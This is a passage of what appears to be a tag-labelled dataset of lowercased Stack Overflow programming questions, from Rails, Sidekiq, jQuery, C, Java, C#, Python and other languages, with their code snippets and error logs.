params[:page]  :order =&gt;  created_at desc      #elsif params[:mailbox] ==  archived       # @messages = @user.archived_messages     end     if params[:mailbox] ==  unread      @messages = @user.unread_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc    end   if params[:mailbox] ==  trash      @messages = @user.deleted_messages.paginate :per_page =&gt; 10  :page =&gt; params[:page]  :order =&gt;  created_at desc    end   end    def new       @message = message.new       @message.conversation_id = params[:conversation_id]     end      def create       @message = message.new(params[:message])       @message.sender_id = @user.id       if @message.save         flash[:notice] =  message has been sent          redirect_to user_messages_path(current_user  :mailbox=&gt;:inbox)       else         render :action =&gt; :new       end     end      def show       @reply_message = message.new         @message = message.find(params[:id])         if @message.recipient == current_user            usermessageworker.perform_async(@message.id  current_user.id)          end         @message.readingmessage if @message.recipient == current_user       end      def reply         @reply_message = message.new         @message = message.new         @message.conversation_id = params[:conversation_id]     end     def destroy      @message = message.find(params[:id])      @message.destroy      flash[:notice] =  successfully deleted message.       redirect_to user_messages_path(@user  @messages)    end    def delete_multiple       if params[:delete]         params[:delete].each { |id|           @message = message.find(id)           @message.mark_message_deleted(@message.id @user.id) unless @message.nil          }         flash[:notice] =  messages deleted        end       redirect_to user_messages_path(@user  @messages)   end     def update       @message = message.new       if params[:reply_to]         @reply_to = user.find_by_id(params[:reply_to])         unless @reply_to.nil            @message.recipient_id = @reply_to.id         end       end     end    private     def set_user       @user = current_user   end end </code></pre>   log:   <pre><code>2014-02-05t17:08:16z 33906 tid-zt6cxk warn: { retry =&gt;true   queue =&gt; default    class =&gt; usermessageworker    args =&gt;[159  2]   jid =&gt; f502221628588feaa5efa7d3    enqueued_at =&gt;1391619720.3566332   error_message =&gt; undefined method `messages  for #&lt;user:0x00000101edb0a0&gt;    error_class =&gt; nomethoderror    failed_at =&gt; 2014-02-05t17:02:00z    retry_count =&gt;4   retried_at =&gt;2014-02-05 17:08:16 utc} 2014-02-05t17:08:16z 33906 tid-zt6cxk warn: undefined method `messages  for #&lt;user:0x00000101edb0a0&gt; 2014-02-05t17:08:16z 33906 tid-zt6cxk warn: /users/.rvm/gems/ruby-2.0.0-p353/gems/activemodel-4.0.0.rc1/lib/active_model/attribute_methods.rb:436:in `method_missing  /users/.rvm/gems/ruby-2.0.0-p353/gems/activerecord-4.0.0.rc1/lib/active_record/attribute_methods.rb:131:in `method_missing  /users/dating/app/workers/user_message_worker.rb:8:in `perform  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:49:in `block (3 levels) in process  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:122:in `call  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:122:in `block in invoke  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/active_record.rb:6:in `call  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124:in `block in invoke  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/retry_jobs.rb:62:in `call  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124:in `block in invoke  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/logging.rb:11:in `block in call  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/logging.rb:22:in `with_context  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/server/logging.rb:7:in `call  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:124:in `block in invoke  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:127:in `call  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/middleware/chain.rb:127:in `invoke  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:48:in `block (2 levels) in process  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:105:in `stats  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:47:in `block in process  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:86:in `do_defer  /users/.rvm/gems/ruby-2.0.0-p353/gems/sidekiq-2.17.2/lib/sidekiq/processor.rb:37:in `process  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/calls.rb:25:in `public_send  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/calls.rb:25:in `dispatch  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/calls.rb:122:in `dispatch  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/actor.rb:322:in `block in handle_message  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/actor.rb:416:in `block in task  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/tasks.rb:55:in `block in initialize  /users/.rvm/gems/ruby-2.0.0-p353/gems/celluloid-0.15.2/lib/celluloid/tasks/task_fiber.rb:13:in `block in create  </code></pre>,ruby-on-rails
jquery smoothly transition from default image to another image then another  i have a unordered list of images with the first li having a  display: list-item  and the rest having a  display: none .    what i want to do is have a smooth transition that fades in the second image then the third without the appearance of a break.    the following jsfiddle shows what i have at the minute  notice there is a break in the fade between the second and third image fade.    <a href= http://jsfiddle.net/e6hur/  rel= nofollow >http://jsfiddle.net/e6hur/</a>    can anyone help please,jquery
how to increment row of a gridview   i am fetching data into a gridview from a table.my gridview have 3 text box and one dropdown control.i want to fetch data one by one row from database.after fetching each row i want to increment the row of a grid view and again fetch it.    here is my code   <pre><code>sqlcommand sqlcommand2 = new sqlcommand( proc_bcdet   sqlconnection); sqlcommand2.commandtype = commandtype.storedprocedure; sqlconnection.open(); sqlcommand2.parameters.add( @btcode   sqldbtype.int).value = session[ btcode ]; sqldataadapter adp = new sqldataadapter(); adp.selectcommand = sqlcommand2; dataset ds = new dataset(); adp.fill(ds); datatable dt = ds.tables[0];  int rowindex = 0; if (dt.rows.count &gt; 0) {     for (int i = 0; i &lt; dt.rows.count; i++)     {          textbox box1 = (textbox)gvcashreceipt.rows[i].cells[1].findcontrol( txtlgroup );         textbox box2 = (textbox)gvcashreceipt.rows[i].cells[2].findcontrol( txtamt );         textbox box3 = (textbox)gvcashreceipt.rows[i].cells[3].findcontrol( txtnarr );         label lb1 = (label)gvcashreceipt.rows[i].cells[4].findcontrol( lbllcode );         dropdownlist ddl1 = (dropdownlist)gvcashreceipt.rows[rowindex].cells[0].findcontrol( drprledger );           //fill the dropdownlist with data          ddl1.datasource = module.query( select name from accmast where  lgcode in (2 3 4) order by lcode );         ddl1.databind();           if (i &lt; dt.rows.count)         {              //assign the value from datatable to the textbox              box1.text = dt.rows[i][ lgname ].tostring();             box2.text = dt.rows[i][ amt ].tostring();             box3.text = dt.rows[i][ narr ].tostring();             lb1.text = dt.rows[i][ lcode ].tostring();             //set the previous selected items on each dropdownlist  on postbacks              ddl1.clearselection();             ddl1.items.findbytext(dt.rows[i][ name ].tostring()).selected = true;         }          rowindex++;     } } </code></pre>   after fetching first row i got an error  index out of range  please help me...,asp.net
why is the result of -8%-5 equal to -3  i have the following code   <pre><code>#include &lt;stdio.h&gt;  int main(void) {      printf( %d\n   -8%5);       printf( %d\n   8%-5);      printf( %d\n   -8%-5);       return 0; } </code></pre>   the output i get is    <pre><code>-3 3 -3 </code></pre>   how is it that -8%5 and 8%-5 have different signs  especially when the results of -8/5 and 8/-5 have the same output      also why does -8%-5 give -3 as the output  when -8/-5 gives it s output as 1,c
why this mocking script doesn t work (unittest  mocker  python)  i want to mock myclass.tobemockedmethod which is called in myclass.mymethod using the following script. it runs without actually mocking it. not sure why....   <pre><code>class test_mytest(mockertestcase):      def mock_it_up(self  function  result=none  mmin=0  mmax=none):       function = self.m.mock()       function(args)       self.m.result(result)       self.m.count(mmin  mmax)     def setup(self):       self.m = mocker()        self.mock_it_up(myclass.tobemockedmethod)        self.o=myclass(0)      def test_one_atom(self):       self.o.mymethod()      def teardown(self):       pass  if __name__ ==  __main__ :     main() </code></pre>,python
explain the output of the following c program   please give a detail explanation of how <code>(a+=3 5 a)</code> is evaluated in the following program.   <pre><code>#include &lt;stdio.h&gt; int main() {     int a=1 b=2 c=3;     printf( %d\n  a+=(a+=3 5 a)); } </code></pre>,c
define global variable as hash  i have a number of c++ classes  alot of them (not all) share two  static size variables  e.g.     share.h   <pre><code>/*other variables in this header used by all classes*/  static size width=10;//used by about 60%  static size height = 12;//used by about 60% </code></pre>   so i placed them in a header file along with other objects that all classes share.    when i compile the project i get alot of warnings (from the classes which dont use these)  which complain about them being defined and not used. but i need them there!    so i ask  is there a way to hash these to prevent such warnings     hashing them so that they can be defined! preventing warnings from classes calling this header file which dont require these last two variables  but they call header because they need everything else init,c++
android: unittest  need some advice. i have an app. and i need do write some unittest. but i really don t know what to test. i already test settings and all preferences  that s easy. what else usually people test   lets say that i have 3 activities. main one is list activity  when you click on list item its forward you on a second list activity...and on list item click its forward you on third activity. i think maybe i should test the switching between activities   how to simulate click on list item in unittest and how to check that activity was open or not   thanks !,android
rails  column name and method name behavior  db table user with a column name uid  create a method uid in the user model. when you submit a form with the field of :uid  it calls the user method uid. i had never seen this explained anywhere and no idea rails did this.    is this a good way to put in logic for that column  or should this be avoided,ruby-on-rails
if statement wrong argument  difference between .exists  and .any   in a model <code>link</code> if have an if statement: <code>&lt;% if link.title == link.any (:title) %&gt;</code> when i run this  i get the error: <code>wrong number of arguments (1 for 0)</code> i understand that this means that it means that it isn t getting anything for <code>link.any (:title)</code> but how do i fix this. if you don t understand what i m trying to accomplish  i m trying to make sure that none of the links i made have the same title as another.    on a side note  what is the difference between .exists  and .any,ruby-on-rails
what does this mean  var _ = this  datasettings  responsivesettings  breakpoint;  anyone could explain this    <pre><code> var _ = this  datasettings  responsivesettings  breakpoint; </code></pre>   i saw this in the slick slider source at line 40 in version 1.4.1,javascript
dynamically update text file in java gui  i have created java gui that will receive text file(.txt) from other client and append into the textarea(by using textrecv.append) in java netbeans gui however it doesn t read file that already sent from other client   i try to put readfile method in button perform however it read only when i push the button but that s not the result that i want  my target is make this gui to dynamically receive file   read and append on to my text area automatically     my situation is i have 2 machine and then i send file by execute dtncpd in java that s process how i send file over 2 machines however in both 2 machine the text file is already appear in destination but it not append in the textarea     that s how i send   <pre><code> private void dtnsendactionperformed(java.awt.event.actionevent evt) {                                             // todo add your handling code here:     string text =   ;     string name = usernamefield.gettext();     text = name.tostring()+  : + textinput.gettext().tostring();      try{         filewriter fstream = new filewriter( msg.txt );         bufferedwriter out = new bufferedwriter(fstream);         out.write(text);         out.close();     }catch(ioexception e)     {         e.printstacktrace();     }     textinput.settext(  );       try{ //show what sender type         bufferedreader ins = new bufferedreader(new filereader( msg.txt ));         string stream;         while((stream = ins.readline())!=null)         {             textrecv.append(stream+ \n );         }     }catch(ioexception e){ e.printstacktrace();}      string sendcmd =  dtncp netbeansprojects/dtnchat/msg.txt dtn://abc.dtn ;     runtime runtime1 = runtime.getruntime();     try{         process process1 =runtime1.exec(sendcmd);     }catch(ioexception e)     {         e.printstacktrace();     } </code></pre>   the question is how can the java gui read the file that receive and append to the textarea automatically without using any button    any suggestion   thank you for every advice    <strong>edited</strong> i m coding like this however it s not append on my textarea   <pre><code> swingworker worker = new swingworker&lt;void string&gt;(){     protected void doinbackground(){         file file = new file( /home/xxx/desktop/incoming/abc.dtn/msg.txt );         boolean exists = file.exists();         while(exists)         {             try{                 filereader read = new filereader( /home/xxx/desktop/incoming/abc.dtn/msg.txt );                 bufferedreader in = new bufferedreader(read);                 string show;                 while((show=in.readline())!=null)                 {                     textrecv.append(show);                 }             }catch(ioexception e){}         }         return null;     } };      public void actionperformed(actionevent ae){         worker.execute();     } </code></pre>,java
in a private class : access to a member of the  outer class    here is my code (just a snippet to expose the problem) :   <pre><code>public class a {     class b     {         //private class     }      public int nb; } </code></pre>   im tired but why can t i access to  nb  in my private class,c#
how to create different uiactionsheet for two buttons    hi here i developing small application. in a subclass screen i have two buttons. when i press the first button  it will shows four actionsheet. when i press second button it wil shows five actionsheet. i was successfully shows it. but i cant set second button actions of five actionsheet. in my code the when i press second button of first actionsheet  it wil actioned first button of first actionsheet. here i want set actions for individual actionsheets. pls help me. here is my code is   <pre><code>- (void)tableview:(uitableview *)tableview didselectrowatindexpath:(nsindexpath *)indexpath { if ( indexpath.row == 0) {     uiactionsheet *popupquery = [[uiactionsheet alloc] initwithtitle:nil delegate:self cancelbuttontitle:@ cancel  destructivebuttontitle:@ edit  otherbuttontitles:@ remove   @ sell  @ scrap   nil];     popupquery.actionsheetstyle = uiactionsheetstyleblacktranslucent;     [popupquery showinview:self.view];     [popupquery release]; } if ( indexpath.row == 1 )  {     uiactionsheet *popupquery = [[uiactionsheet alloc] initwithtitle:nil delegate:self cancelbuttontitle:@ cancel  destructivebuttontitle:@ unsell  otherbuttontitles:@ edit item   @ edit sale  @ sold  @ scrap   nil];     popupquery.tag=5;     popupquery.actionsheetstyle = uiactionsheetstyleblackopaque;     [popupquery showinview:self.view];     [popupquery release]; } }  -(void)actionsheet:(uiactionsheet *)actionsheet clickedbuttonatindex:(nsinteger)buttonindex { if (buttonindex == 0)  {     updateasset *object=[[updateasset alloc]initwithnibname:@ updateasset  bundle:nil];     [self presentmodalviewcontroller:object animated:no];     [object release]; }  else if (buttonindex == 1) {     uialertview *alert = [[uialertview alloc] initwithtitle:@ remove  message:@ do you want to remove                                                     delegate:self cancelbuttontitle:@ no  otherbuttontitles:@ yes   nil];     [alert show];     [alert release]; }  else if (buttonindex == 2) {     egarageselling *object=[[egarageselling alloc]initwithnibname:@ egarageselling  bundle:nil];     [self presentmodalviewcontroller:object animated:yes];     [object release]; }  else if (buttonindex == 3)  {     uialertview *alert = [[uialertview alloc] initwithtitle:@ scrap  message:@ do you want to scrap                                                     delegate:self cancelbuttontitle:@ no  otherbuttontitles:@ yes   nil];     [alert show];     [alert release]; } else if (buttonindex == 4)  {  } else if (buttonindex == 5)  {  } else if (buttonindex == 6)  {     uialertview *alert = [[uialertview alloc] initwithtitle:@ scrap  message:@ do you want to scrap                                                     delegate:self cancelbuttontitle:@ no  otherbuttontitles:@ yes   nil];     [alert show];     [alert release]; } else if (buttonindex == 7)  {     uialertview *alert = [[uialertview alloc] initwithtitle:@ scrap  message:@ do you want to scrap                                                     delegate:self cancelbuttontitle:@ no  otherbuttontitles:@ yes   nil];     [alert show];     [alert release]; } else if (buttonindex == 8)  {     uialertview *alert = [[uialertview alloc] initwithtitle:@ scrap  message:@ do you want to scrap                                                     delegate:self cancelbuttontitle:@ no  otherbuttontitles:@ yes   nil];     [alert show];     [alert release]; } else if (buttonindex == 9)  {     uialertview *alert = [[uialertview alloc] initwithtitle:@ scrap  message:@ do you want to scrap                                                     delegate:self cancelbuttontitle:@ no  otherbuttontitles:@ yes   nil];     [alert show];     [alert release]; } } </code></pre>   how to solve this problem.,iphone
how to determine if string contains specific substring within the first x characters  i want to check whether <code>value1</code> below contains  abc  within the first x characters. how would you check this with an <code>if</code> statement    <pre><code>var value1 =  ddabcgghh ;  if (value1.contains( abc )) {     found = true; } </code></pre>   it could be within the first 3  4 or 5 characters.,c#
how do i join lines into single line returned from sql in one column   im trying to run the sql such as:      select  transactionid= || ||  user_data= || from bla..bla.      the problem here is that the userdata () has very long values and results are shown as in the notepad ( and even very deterioted in excel):      transactionid=12385031681  user_data=this product      brought to you by<br> p&amp;g sms  &lt; coumn3 > ...bla.bla    now  i need to fix the value fetched in user_data into one line rather than number of lines.    can you please advise,sql
c - how to pass an array of strings to another function by reference   here is my code:   <pre><code>void dosomething(){     char arr[5][10];     arr[1] =  bob ;     arr[2] =  steve ;     arr[3] =  tim ;     arr[4] =  ruth ;     arr[5] =  heather ;     init(arr);  void init(char *array){     int i;     newarr[5][10];     for(i=0; i&lt;5; i++){         newarr[i] = *(array + i);     } } </code></pre>   i keep getting an error saying:   <blockquote>    warning: passing argument 1 of ‘init’ from incompatible pointer type [enabled by default]   note: expected ‘char <em>’ but argument is of type ‘char (</em>)[10]’  </blockquote>,c
"correctly centering a fixed <div> element  i used this css to center a fixed <code>&lt;div&gt;</code> block. but it appears at the left bottom corner of <code>&lt;body&gt;</code>. what s the problem     <div class= snippet  data-lang= js  data-hide= false >
 <div class= snippet-code >
 <pre class= snippet-code-css lang-css prettyprint-override ><code>#console {
     border-width: 1px;
     border-style: solid;
     border-color: black;
     font-size: 16px;
     
     margin: 0  auto;
     position: fixed;
     bottom: 0;
     }</code></pre>
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;div id= console &gt;example&lt;/div&gt;</code></pre>
 </div>
 </div>",css
hiding constraint in objective c  i want a hiding constraint in my application in a programmable way. i have three buttons in this application and i want to hide the middle button. when i am running the application  it is showing some gap between first and third buttons. how can hide that place between two buttons,objective-c
anchor back a page and open content  my question: i’m trying to make a jump back to page with anchor work on items that are hidden on a page. currently a listing page shows 12 items and more are revealed when clicking button that renders additional rows.    so when a user clicks a business listing below the default 12 items and the user wants to go back  how do i make the page anchor down to the original listing outside of the 12 default items  video example: <a href= https://youtu.be/a0ijkjyb4mm  rel= nofollow >https://youtu.be/a0ijkjyb4mm</a>    <a href= http://newcastlenow-staging.businesscatalyst.com/discover/everything  rel= nofollow >http://newcastlenow-staging.businesscatalyst.com/discover/everything</a>    how do i also automatically open the pagination once the back anchor is implemented,javascript
one php file for multiple pages   i m creating a dashboard which will have different pages for different purposes. i m thinking if wether i should have one php file for each page or one for all the pages     pros to me is:   <ul> <li>one file with all functions to simplify work (less files - less clutter)</li> </ul>   cons:   <ul> <li>longer loading time because one large file </li> </ul>   i guess my major question is if there really is a major advantage/disadvantage to either,php
preventing duplicate  @  symbols in email address via sql query  is there anyway (query in sql) that prevents multiple entry of  @  symbol in email address                                    or is there anyway (query in sql) that counts how many times  @  symbol comes in an email address,sql
compiler error cannot find symbol in tester for investment class  this is my simple investment class that i have created along with a tester class. i dont know why the tester is giving me a error cannot find symbol for the tester.   <pre><code>public class investments  {     // instance variables     private double moneyinvested;     private double investrate;     private int numofyears;      double amount;     double rate;     int time;      public investments(double moneyinvested  double investrate  int numofyears)      {         this.amount = moneyinvested;         this.rate = investrate;         this.time = numofyears;     }      public double ruleof72()      {         return (72 / this.rate/100);     }      public int simpleannual()      {         return math.round(this.amount * math.pow(1 + this.rate/100  this.time));     }      public int compoundannual()      {         return math.round(this.amount * math.pow((1 + this.rate/100) ^ this.time));     }  } </code></pre>   tester:   <pre><code>import java.util.scanner;  public class investmentstester {      public static void main(string[] args)    {     scanner scanner = new scanner(system.in);     system.out.println( how much money do you plan on investing  );     double moneyinvested = scanner.nextdouble();       system.out.println( how many years do you plan to invest this money  );     int numofyears = scanner.nextint();       system.out.println( at what percent rate would you like to invest  );     double investrate = scanner.nextdouble();       system.out.println( at a   + investrate +  % annual interest rate it would take you  + ruleof72 +  years for your investments to double );     system.out.println( your simple annual interest after   + numofyears +  years  with a initial investment of  + moneyinvested +  at  + investrate +  % will be worth:  + simpleannual);     system.out.println( your compound annual interest after   + numofyears +  years  with a initial investment of  + moneyinvested +  at  + investrate +  % will be worth:  + compoundannual);    }  } </code></pre>,java
null check operator won t work on weboperationcontext.current .incomingrequest  it looked odd when i tried to add a null check operator on the following code   <pre><code> weboperationcontext.current .incomingrequest .headers[  ];  </code></pre>   this didn t catch the null and somehow resharper recognized that question mark won t work and grayed it out. but the following worked.   <pre><code>var httpincomingrequest = weboperationcontext.current .incomingrequest;             var _ = httpincomingrequest .headers[] </code></pre>   what is so special about incomingrequest object that would stop us using null check operator,c#
difference between accessing property methods and class fields (objective-c)  assume that i have this piece of code:   <pre><code>@interface foo : nsobject {     bar *bar; }  @property (retain  nonatomic) bar *bar;  @end </code></pre>   when using this field/property  is there any difference between lines:   <pre><code>[self.bar dostuff]; </code></pre>   and   <pre><code>[bar dostuff]; </code></pre>        when doing assignment  property method will perform correct retaining  but what about the read access to the property  as described above  is there any difference,objective-c
how can i avoid that the inherited class have to pass the base class constructor parameter  i have a base classe and an inheriting child class.    the base classes constructor accepts a parameter which i do not want to pass from my child constructor.    the parameter is a generic <code>list&lt;myinterface&gt;</code>    is that possible with c#     at the moment my child class constructor looks like this:   <pre><code>public childclass() : base (new list&lt;myinterface&gt;()); </code></pre>   is there a better way without having to new up the list,c#
padding bars remain when scrolling gridview  i have this <code>gridview</code> (see screenshot) that contains items that all need about 12 dip spacing. however  when i set padding on the <code>gridview</code>  it seems that i can t scroll across this paddingm which i do want to do. how do i achieve this     note the slice of space above the top two pictures that i want to scroll away from:    <img src= https://i.stack.imgur.com/ry2zn.png  alt= screenshot while scrolling >    code:   <pre><code>&lt;gridview     android:id= @+id/feed_grid      android:layout_width= fill_parent      android:layout_height= wrap_content      android:columnwidth= 96dp      android:gravity= center      android:horizontalspacing= @dimen/grid_view_margins      android:numcolumns= auto_fit      android:padding= @dimen/grid_view_margins      android:stretchmode= columnwidth      android:scrollbarstyle= outsideinset      android:verticalspacing= @dimen/grid_view_margins  /&gt; </code></pre>,android
how to change css style from jquery  my style is here   <pre><code>#mybox{ display:none; } </code></pre>   my web is here    <pre><code>&lt;div id= mybox &gt; ... &lt;/div&gt;   &lt;script type= text/javascript &gt;   $(document).ready(function(){    $( #mybox ).css( display   visible ); }) &lt;/script&gt; </code></pre>   mybox don t show. how to show mybox,jquery
export/import settings in visual studio .net   i want to create a button in one of my programs. when they click the button  they can export all settings in the program to an xml file. and then of course  there will be another button to import settings from an xml file.    is there a built in function for this  or do i need to make my own,.net
how to change extjs scrollbar width and border radius into firefox  how to change scrollbar width and border radius. i am using extjs. i changed css of chrome it works fine but when i open into firefox  it gives his standard scrollbar. i need a help  please help to change the scrollbar  into firefox.    i used a code following for chrome:   <pre><code> ::-webkit-scrollbar-track{           }      ::-webkit-scrollbar {     width:12px;     background:#ffffff;     }     ::-webkit-scrollbar-thumb {     background:rgb(207 206 205);     -webkit-border-radius: 3px;       } </code></pre>,css
i am not able to store 0123 in php variable <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/1412712/interview-question-in-php-is-123-0123 >interview question: in php  is 123==0123 </a>    </blockquote>     i am newbie in php. i am trying to store 0123 in a php variable while learning php but it displays 83 instead of 0123 when i echo the variable. can anyone give me exact technical reason of that.    thanks in advance  dhaval,php
is there an implicit cast from temporary values to objects of type rvalue reference   consider this toy example:   <pre><code>struct a { int x; }; int main() {     a&amp;&amp; a=a();      return 0; } </code></pre>  <ol> <li> is there an implicit cast <strong>from</strong> temporary values (values of built-in type  and temporary objects) <strong>to</strong> objects of type <code>rvalue reference</code>  </li> <li> does <code>a</code> has an address  </li> </ol>,c++
jquery hover menu adding class with time  on some website i saw this effect: if i hover some menu background color doesn t change immediately but it changes in some specific time and it looks like it is animating  how can i get this effect,jquery
looping java switch statement  my system is a banking system and i want my program to loop after the user has interacted with one of the processes (withdraw  view balance etc).     after user get result i want to give a chance to continue with another process:   <pre><code>package smartcode.atm.h.w;  import java.util.scanner;  public class smartcodeatmhw {      public static void main(string[] args) {         int p;         int y = 1234;         int amount = 500;         int result;         int info;         int f;         int g;          scanner in = new scanner(system.in);          for (int i = 0; i &lt; 3; i++) {             system.out.println( please enter pin number  );             p = in.nextint();              if (p == y) {                 system.out.println( you have entered correct pin number \n\n***************** );                  profile pr = new profile();                 pr.setname( prapashtica );                 system.out.println( welcome mr.  + pr.getname());                  //loop from here                  boolean end = false;                 do{                     system.out.println( \npress 1 to view bank account );                     system.out.println( press 2 to deposit money );                     system.out.println( press 3 to withdraw money );                     system.out.println( press 4 to cancle the process \n\n******************** );                     info = in.nextint();                      switch (info) {                         case 1:                             system.out.println( you have    + amount +  $ available );                             return;                          case 2:                             system.out.println( you have    + amount +  $ available );                             system.out.println( please enter the amount you wish to deposit );                             f = in.nextint();                              result = amount + f;                             system.out.println( you have    + result +  $ available );                             break;                         case 3:                             for (int l = 0; l &lt; 3; l++) {                                 system.out.println( you have    + amount +    $ available );                                 system.out.println( please eter the amount you wish to withdraw );                                 g = in.nextint();                                 if (g &gt; 500) {                                     system.out.println( you cannot withdraw more than your current amount );                                 } else {                                     system.out.println( you have succesfully withdrawed    + g +   $ );                                     result = amount - g;                                      system.out.println( you now have    + result +    $ available );                                 }                             }                             system.out.println( your card is now blocked );                             break;                         case 4:                             system.out.println( you have canceled the proccess );                             break;                         default:                             system.out.println( error \ninvalid number );                             break;                      }                     return;                 }while (end == false);             } else {                 system.out.println( you have entered incorrect pin number  \nplease try again  \n******************************* );             }         }         system.out.println( your card is now blocked );     } } </code></pre>,java
armstrong numbers between 1-10000 using c  i m trying to print out armstrong numbers from 1-10000  and my question is that <strong>there are  four 1s  when i compile and run</strong>  and i would like to ask  which part of coding that i did wrong  and what part of code should be revised if i want only one 1 to be printed out. other than that  all the others armstrong numbers output correctly. it s my first time asking here and i hope people who sees this would give me some advice. thank you.   <pre><code>#include &lt;stdio.h&gt; #include &lt;stdlib.h&gt;  /* run this program using the console pauser or add your own getch  system( pause ) or input loop */  int main(int argc  char *argv[]) { printf( armstrong numbers from 1-10000:\n ); int digit1  digit2  digit3  digit4;  int i;  for(i=1; i&lt;10000; i++){      digit4=i/1000;     digit3=(i%1000)/100;     digit2=((i%1000)%100)/10;     digit1=((i%1000)%100)%10;      //one digit number      if(i&lt;10){         if(i==digit1)printf( %d\n  i);     }     //two digit number     if(10&lt;=i&lt;100){         int output100 = digit1*digit1 + digit2*digit2;         if(i==output100)printf( %d\n  i);     }     //three digit number      if(100&lt;=i&lt;=999){         int output1000 = digit1*digit1*digit1 + digit2*digit2*digit2 + digit3*digit3*digit3;         if(i==output1000){             printf( %d\n  i);         }     }     //four digit number     if(1000&lt;=i&lt;=10000){         int output10000 = digit1*digit1*digit1*digit1 + digit2*digit2*digit2*digit2 + digit3*digit3*digit3*digit3 + digit4*digit4*digit4*digit4;         if(i==output10000){             printf( %d\n  i);         }     }     }   return 0; } </code></pre>,c
how to run function in python on background and still continue the main flow   i currently create website with flask. after user sign up  i want to send mail &amp; execute insert into sql  but it run slow  so i want to execute it on background and still continue the main flow and return the html without stuck on loading page.   <pre><code>def send_email_and_insert():     # some smtplib code here     # and some insert into sql too     # this  function make the web stuck loading 5-10 second   @app.route( /sign_up/ ) def sign_up():     # some code here     send_email_and_insert()     return render_template( thanks_for_sign_up.html ) </code></pre>   i think it can be done with multiprocessing or threading  but i cant get it right. or maybe there is another solution,python
how can i use  this  inside an eval statement  <pre><code>function somefunc() {     this.var1 = 123;     this.evalstr =  console.log( myvar:  + this.var1) ; }  var sf = new somefunc();  eval(sf.evalstr); // returns  myvar: undefined  </code></pre>   i d like eval to take into account variables on my instantiated object  how can i do this     <strong>edit:</strong> that question you marked as duplicate is way more complex than what i m asking. i m talking about evaling a string here.    <strong>edit:</strong> hey my question shouldn t get downvoted just because i dared to say  eval . sheesh. if you look down you ll see the answers are quite useful.,javascript
calling function with 1 parameter @ selector.  // original //    i want to call this guy   <pre><code>-(void)addfavorite:(nsstring *)favoritetoadd </code></pre>   at  @selector here   <pre><code>action:@selector([addfavorite favoritetoadd:@ string ])]; </code></pre>   but i keep getting syntax error no matter which way i write it.    can someone point out the appropriate way to call this function  when it had no parameter and was  addfavorite   it worked fine.    // update //    i apologize for not being more specific. this is an iphone application. i have a view with a button  when the button is pressed  an nsstring is grabbed and passed to addfavorite (function above). i get syntax errors when attempting to add a parameter to addfavorite.    i want to call the following addfavorite   <pre><code>-(void)addfavorite:(nsstring *)favoritetoadd </code></pre>   something like this   <pre><code>    uibarbuttonitem *addbutton = [[uibarbuttonitem alloc]                               initwithbarbuttonsystemitem:uibarbuttonsystemitemadd                               target:self                               action:@selector([addfavorite: favoritetoadd:@ teststring ])]; self.navigationitem.rightbarbuttonitem = addbutton; [addbutton release]; </code></pre>   error: expected  :  before  [  token,objective-c
proxy wrapper classes  operator-> chaining  i ve found <a href= http://www.stroustrup.com/wrapper.pdf  rel= nofollow noreferrer >this paper</a> implementing a c++ proxy wrapper class  which allows code execution before and after each method call by overloading <code>operator-&gt;</code>.    in section 11  techniques it is mentioned that it is possible to chain wrapper classes into each other  like   <pre><code>#include &lt;iostream&gt; using namespace std;  template&lt;class t  class pref  class suf&gt; class wrap; template&lt;class t  class suf&gt; class call_proxy {   t* p;   mutable bool own;   suf suffix;   call_proxy(t* pp  suf su) :p(pp)   own(true)   suffix(su) { } // restrict creation   call_proxy&amp; operator=(const call_proxy&amp;) ; // prevent assignment   public:   template&lt;class u  class p  class s&gt; friend class wrap;   call_proxy(const call_proxy&amp; a) : p(a.p)   own(true)   suffix(a.suffix) { a.own=false; }   ~call_proxy() { if (own) suffix() ; }    t* operator-&gt;() const{ return p;} // error: ‘struct shared&lt;x&gt;’ has no member named ‘g’   //t&amp; operator-&gt;() const{ return *p;} // error: result of ‘operator-&gt;()’ yields non-pointer result };   template&lt;class t  class  pref  class suf&gt; class  wrap {   t&amp; p;   pref prefix;   suf suffix; public:   wrap(t&amp; x   pref pr  suf su) :p(x)   prefix(pr)   suffix(su) { }   call_proxy&lt;t suf&gt; 